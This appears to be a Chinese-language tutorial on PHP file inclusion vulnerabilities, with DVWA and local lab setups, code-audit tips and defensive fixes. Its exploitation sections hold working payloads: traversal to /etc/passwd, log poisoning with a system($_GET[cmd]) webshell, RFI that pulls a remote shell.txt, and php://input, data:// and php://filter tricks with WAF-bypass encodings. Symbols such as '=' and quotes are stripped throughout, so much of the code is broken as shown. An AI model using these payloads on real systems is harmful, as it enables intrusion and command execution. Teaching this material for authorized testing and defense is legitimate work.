文件包含漏洞实战:从LFI读取到RFI执行的完整指南 1. 从一纸漏洞通告说起什么是文件包含漏洞先聊个真实的场景。你维护了一个PHP写的企业官网功能不算复杂页面切换靠index.php?pageabout.php这种参数控制。某天安全扫描报告弹出高危告警说page参数存在文件包含漏洞你第一反应多半是“这玩意儿不就是引入个页面吗能出什么事”——然后你就会看到攻击者用这个参数直接读取了服务器上的/etc/passwd甚至通过日志注入拿到了一句话木马。这个场景在渗透测试和攻防演练里太常见了LFILocal File Inclusion本地文件包含和RFIRemote File Inclusion远程文件包含几乎是Web安全测试中的必测项。文件包含漏洞的根源简单说就是开发者把用户输入的数据直接拼接到了文件包含函数里。PHP里最典型的四个函数include、include_once、require、require_once它们的本意是让代码复用变得更方便——把公共头部、底部、配置项抽离成独立文件再按需引入。但一旦引入路径由用户可控且缺少过滤这个“方便”就成了突破口。攻击者可以让服务器去包含一个自己指定的文件读文件、执行代码、配合其他漏洞拿到WebShell甚至控制整台服务器。这篇主要面向三类人刚接触Web安全的安全工程师写PHP的业务开发以及做等保测评或红蓝对抗的测试人员。读懂LFI/RFI不光是为了应付漏洞扫描更是为了在实际代码审计里能自己揪出这类问题。2. 原理拆解为什么一段“正常”代码会变成漏洞2.1 文件包含函数是怎么工作的用一段最朴素的代码来说明?php if (isset($_GET[page])) { include($_GET[page] . .php); } else { include(home.php); } ?这段代码逻辑上没啥毛病根据page参数加载不同页面拼上.php后缀正常请求index.php?pagenews就是包含news.php。问题在于$_GET[page]完全没过滤攻击者可以传../../../../etc/passwd%00之类的值。../是目录回溯%00是空字节截断——虽然PHP 5.3.4之后空字节截断已经不生效了但思路不变参数可控 拼接路径 用户能决定服务器引入什么。那文件包含后到底发生了什么分两种情况被包含文件内容是 PHP 代码会被当前脚本解释执行相当于攻击者注入了一段自己的代码。被包含文件内容是纯文本或非 PHP 代码会直接输出到响应里相当于任意文件读取。所以文件包含漏洞的威力取决于目标服务器上哪些文件可读、哪些文件可控内容。这里有个关键认知LFI不一定能直接getshell但大概率能读取敏感文件配合日志注入或临时文件上传就能升级为代码执行。2.2 LFI和RFI的根本区别LFI本地文件包含和RFI远程文件包含核心区别就在“包含谁的文件”类型包含目标触发条件危害等级LFI服务器本地文件参数可控拼接到include等函数高RFI远程服务器上的文件允许加载远程URLallow_url_includeOn 参数可控极高RFI在真实环境里其实不太容易遇到因为PHP默认配置allow_url_includeOff很多环境的allow_url_fopen虽然开着但不允许include远程文件。不过一旦遇上了攻击者直接构造?pagehttp://evil.com/shell.txt服务器就去远程拉取这个文件里的PHP代码并执行getshell 一步到位。真实环境里还有个缓解因素PHP 5.2之后默认配置把allow_url_include关掉了所以现在很多教材里动不动就写RFI直接getshell实际测试时往往会被配置卡住。LFI更常见但也更需要“绕路”。2.3 触发文件包含的常见场景我梳理了几个高频出现这类漏洞的业务场景模板/主题加载CMS或者框架根据参数切换模板文件。语言包切换?langcn对应lang_cn.php但lang参数没做白名单。日志下载/管理后台后台功能里按文件名读取日志文件名来自GET参数。接口文档展示根据参数加载不同格式的文档。PDF/图片生成根据模板文件名生成对应内容。一个判断套路URL里有明显的page、file、path、template、lang、style之类的参数且参数值带着.php、.html、/等路径特征就可以尝试文件包含测试。3. 实操从LFI读取文件到RFI执行代码3.1 环境准备的两种选择如果你只是自测可以用现成的靶场环境。DVWADamn Vulnerable Web Application的 File Inclusion 模块就是专门为练习文件包含准备的。里面分了低级、中级、高级三个难度低级的?page参数直接拼入include函数你能直观感受到“一行代码如何变成一个漏洞”。iwebsec是国内开源的一个Web安全靶场包含文件包含漏洞的独立模块。它设计得更紧凑适合快速验证LFI和RFI的各个利用姿势界面也比较简洁。要是想从零搭建一个最小测试环境一个docker-compose就能搞定version: 3 services: vulnerable-app: image: php:5.6-apache ports: - 8080:80 volumes: - ./vuln-site:/var/www/html在vuln-site目录下放一个存在漏洞的PHP文件?php if (isset($_REQUEST[file])) { include($_REQUEST[file]); } else { echo ?filexxx; } ?这样一个最简环境就够了。注意用PHP 5.6是刻意为之——新版本PHP对文件包含的过滤机制更强初学者用老版本能更快上手理解原理。3.2 文件读取的第一步目录穿越直接构造请求http://127.0.0.1:8080/index.php?file../../../etc/passwd这里../../../是目录穿越从当前目录一级一级往上跳直到根目录然后进入etc/读取passwd。如果页面直接显示了root:x:0:0:root:/root:/bin/bash之类的行说明文件读取成功。需要注意几个小细节目录穿越的层数要先探明比如URL路径是http://127.0.0.1:8080/vuln/index.php就得../../才能到根目录。有些环境会拼后缀比如.php这时候可能要看文件内容是否会被当作PHP执行。/etc/passwd不是PHP代码会直接输出那就没问题。但如果读取config.php这类含PHP代码的文件输出往往是空的因为PHP代码被解释了。读取敏感文件时可以多试几个目标Windows系统读C:\Windows\system32\drivers\etc\hosts、C:\boot.iniLinux系统读/etc/passwd、/etc/shadow如果权限允许、/proc/self/environ环境变量里可能有数据库密码、/proc/self/cmdline命令行参数里可能暴露路径或秘钥。读取/proc/self/environ是个经典操作因为环境变量里通常有当前请求的User-Agent如果你能把任意内容写进 UA就能把恶意代码带进日志然后包含这个环境文件直接执行PHP代码。3.3 从读取到执行日志注入获取WebShell光能读文件危害已经不小了但真正的攻击者不会止步于此他们会想办法从“读”升级到“写”。日志注入是最经典的路线先找到日志路径。Apache的访问日志通常在/var/log/apache2/access.logNginx日志在/var/log/nginx/access.log。你可以先通过LFI读取日志文件确认路径。在User-Agent里注入PHP代码。用Burp Suite或浏览器插件修改请求头GET /index.php?file/var/log/apache2/access.log HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: ?php system($_GET[cmd]); ?再通过LFI包含日志文件http://127.0.0.1:8080/index.php?file../../../../var/log/apache2/access.log日志文件被当作PHP执行时?php system($_GET[cmd]); ?这段代码就会解析执行然后你就能通过cmdwhoami执行命令了。这个手法的成功率取决于几个条件日志路径可预测、日志内容里能注入代码、包含日志时后缀不被截断导致PHP解析失败。日志文件通常很大包含的时候也许会输出大量无关内容不影响执行。另一个类似的思路是利用/proc/self/fd下的临时文件。PHP上传文件时会生成临时文件在请求结束后自动删除。如果你能在请求执行时包含到/proc/self/fd/下的对应文件描述符就能执行上传内容里的代码。这个手法需要竞争窗口实操中往往需要并发大量请求危险性高不建议初学者直接在生产环境验证。3.4 RFI远程包含实战RFI的原理一句话让服务器去加载我们控制的远程文件。前提是目标php.ini中allow_url_includeOn。测试方法很简单http://127.0.0.1:8080/index.php?filehttp://your-server/shell.txtshell.txt里写?php echo RFI OK; eval($_POST[cmd]); ?如果返回RFI OK说明远程包含成功代码已经在目标服务器上执行了。接下来直接POSTcmdphpinfo();验证执行权限甚至能用system()执行操作系统命令。RFI常见的执行思路还有用data://伪协议直接内联代码PHP5.2之后可用:http://127.0.0.1:8080/index.php?filedata://text/plain,?php phpinfo(); ?不过这种内联方式要求allow_url_includeOn而且在新版本PHP里data://包装器也受配置限制。用php://filter读取源码不需要allow_url_includehttp://127.0.0.1:8080/index.php?filephp://filter/readconvert.base64-encode/resourceconfig.php这会输出config.php内容的Base64编码解码后就是源码能读配置、密码、密钥等。这个手法在LFI下也很好用因为php://协议默认可用不依赖远程包含开关。3.5 伪协议LFI利用的进阶武器大家所说的LFI进阶利用大多数情况都是玩转PHP伪协议。我列一个常用清单伪协议作用依赖条件php://filter读取文件内容通常配合base64编码解码源码几乎不需要额外条件php://input把请求体当文件内容传入可执行PHP代码allow_url_includeOndata://把数据流当文件内容传入allow_url_includeOnexpect://直接执行命令需要安装expect扩展较少见phar://反序列化配合phar文件触发链需要可上传phar文件用php://input的姿势是这样的先发送一个POST请求body里直接放PHP代码POST /index.php?filephp://input HTTP/1.1 Content-Type: text/plain ?php system(whoami); ?如果目标allow_url_includeOnphp://input会把请求体当内容传入include代码直接执行。这个手法比日志注入稳定得多不用猜日志路径。再说一个实用场景配合php://filter做源码审计。遇到只有include($_GET[file])这种情况你想知道config.php里有没有数据库密码直接访问http://127.0.0.1:8080/index.php?filephp://filter/readconvert.base64-encode/resourceconfig.php得到一串Base64解码看源码。这个方法在授权测试里非常常用能快速定位后台逻辑。4. 排查思路与实战案例4.1 如何在代码审计中定位文件包含漏洞拿到一套源码做审计时我习惯于按下面这套流程扫全局搜索危险函数重点搜include、require、include_once、require_once以及ThinkPHP框架里的$this-display()、$this-fetch()模板渲染方法。回溯参数来源看变量是来自$_GET、$_POST、$_REQUEST还是$_COOKIE是否经过addslashes、htmlspecialchars、str_replace等过滤。注意过滤是否能被绕过。分析路径拼接逻辑是直接拼接还是做了解析。比如str_replace(../, , $_GET[page])这种黑名单过滤攻击者用....//....//就能绕过因为过滤一次后变成../。查配置项确认allow_url_include和allow_url_fopen的开关状态判断LFI能否升级为RFI。追踪文件内容可控性即便不能执行PHP代码看看服务器上有没有攻击者可控内容的文件日志、缓存、上传文件如果找到路径就能组合成攻击链。4.2 一个典型LFI漏洞的分析过程就拿iwebsec靶场里的文件包含漏洞模块举例。打开页面就是一个?file参数传什么就包含什么。我实际测试的流程第一步传/etc/passwd页面输出了一堆用户信息确认存在LFI。第二步传php://filter/readconvert.base64-encode/resourceconfig.php得到config.php的Base64编码解码后看到数据库连接信息。第三步尝试日志注入把PHP代码写进User-Agent然后包含Apache日志。如果日志路径不对就用之前读到的配置信息去猜测路径。第四步结合后台或其他漏洞上传一个包含恶意代码的图片再用file包含图片图片里的PHP代码会被执行——图片马配合LFI也是常见组合。这个流程完整走下来结论就很清晰这个LFI漏洞可以直接读取敏感源码、获取配置信息结合日志或上传马还能进一步getshell。危害评级“严重”一点都不冤枉。4.3 常见测试工具和命令速查手工测试之外建议熟悉几个工具Burp Suite拦截修改请求测试目录穿越、日志注入、改数据包。sqlmap虽然主要打SQL注入但它的--file-read和--os-shell在部分场景也能配合LFI。LFI SuiteGitHub上开源的LFI专用工具自动化枚举伪协议和路径。PwnXSS / Wfuzz用来做参数模糊测试覆盖page、file、path等常见参数名。一条手工判断LFI是否存在的高效命令curl -i http://127.0.0.1:8080/index.php?file../../../../etc/passwd看返回里有没有root:开头的行。如果目标有防护用..//..//..//..//etc/passwd绕过路径过滤。4.4 常见问题速查表我在带新人测试文件包含漏洞时整理了下面这份高频问题清单现象可能原因解决思路传了../../etc/passwd但没反应目录层级不对或被过滤了../多试几层../尝试URL编码%2e%2e%2f读取PHP文件返回空白PHP代码被执行了没输出用php://filterbase64读取源码data://或php://input不生效allow_url_includeOff改用日志注入或php://filter日志注入后代码没执行日志路径不对/包含时内容被转义先确认日志路径检查UA特殊字符是否被转义包含图片马失败图片里PHP标签没被解析确保图片内容里是合法PHP代码或用系统命令写入马目录穿越被WAF拦截存在规则匹配../尝试大小写、编码、....//等方式绕过5. 防御视角如何彻底封堵这类漏洞5.1 最根本的修复方案白名单文件包含漏洞的根子在“用户输入进入文件路径”。最彻底的修复方式是从根上杜绝用户控制路径用白名单映射?php $allowedPages [ home home.php, news news.php, about about.php ]; $page $_GET[page] ?? home; if (isset($allowedPages[$page])) { include($allowedPages[$page]); } else { include(error.php); } ?这样用户只能传数组里存在的键名路径完全由服务端决定攻击者传什么都拿不到真实路径。这是最推荐的方案没有之一。5.2 过滤和校验的底线如果业务复杂到没法用白名单那至少要做到这几项校验真实路径用realpath()解析路径后检查是否在允许目录内。过滤危险字符禁止../、..\、/、\、冒号、空字节等。后缀白名单比如只允许.php、.html。禁止伪协议把php://、data://、expect://等列入黑名单。一个能勉强挡住的代码示例?php $file $_GET[file]; $file str_replace(array(../, ..\\, php://, data://), , $file); $realpath realpath(BASE_DIR . / . $file); if ($realpath strpos($realpath, BASE_DIR) 0 preg_match(/\.(php|html)$/, $realpath)) { include($realpath); } else { die(Invalid file.); } ?注意黑名单是不完美的只能提高门槛。比如上面的过滤攻击者传....//....//就能变成../。5.3 配置层面的加固PHP配置上有两个开关直接关系到RFI和伪协议的利用; 禁止远程文件包含 allow_url_include Off ; 根据业务需要决定是否禁止远程文件读取 allow_url_fopen Off线上环境建议allow_url_include强制Offallow_url_fopen除非确实有抓取远程资源的需求否则也关掉。再配合open_basedir限制脚本能访问的目录范围即使被包含攻击面也会被极大压缩。5.4 WAF和运行时防御对已经上线的系统WAF的路径遍历和文件读取规则能做第一道拦截。但请记住一个潜在的坑WAF规则用了错误匹配攻击者用大小写混写、双重编码、路径参数污染就能绕过。所以在安全建设里WAF是补充不能当主线防御。应用层可以加OpenResty或ModSecurity的规则拦截URL里包含../、php://filter、etc/passwd等特征的请求。但同样这属于最后一道保险真正的安全根基还是要落到代码层白名单。6. 后续可以怎么扩展文件包含漏洞研究到这里并不意味着所以然就结束了。我自己的技术路线是按这个方向延伸的PHP反序列化 phar协议phar文件里存有序列化数据用phar://协议触发反序列化能配合业务里的unserialize构成一条完整的攻击链。这个方向比单纯LFI利用深得多也要复杂得多。LFI配合文件上传getshell找一个前端校验不严或后端没校验文件内容的图片上传点传一个内容自定义的GIF/PNG图片里面塞PHP代码再用LFI去包含。这个在真实渗透里非常实用。中间件日志路径探测不同中间件、不同安装方式日志路径千差万别。掌握常见中间件的日志路径能大幅提高日志注入的成功率。内网靶场系统性练习比如VulHub、Pikachu这类靶场也有文件包含案例。把一个靶场里所有漏洞都打通比零散看教程有用得多。我在实际项目里遇到最深的体会是LFI和RFI很少单独出现它们往往是漏洞链中的“一环”。可能是SQL注入拿到上传点上传图片马后靠LFI解除执行限制也可能是信息泄露暴露了日志路径然后日志注入配合LFI直接getshell。单看一个漏洞危害有限放到攻击链里看才是完整的。最后分享一个实际碰到的坑。有一次我在某授权站点测试LFI确认存在但所有常规手法都宣告无效——伪协议被过滤、日志注入不执行、目录穿越被拦截。折腾半天后发现对方过滤逻辑里有个漏洞str_replace只过滤了../中的点没过滤反斜杠我改用..%5c加两次编码绕过了过滤。这个案例给我的教训是别迷信某个单一技巧多尝试编码和变形但一定要在授权范围内测试。安全测试本身就是一场博弈攻防双方都在不断升级保持学习节奏很重要。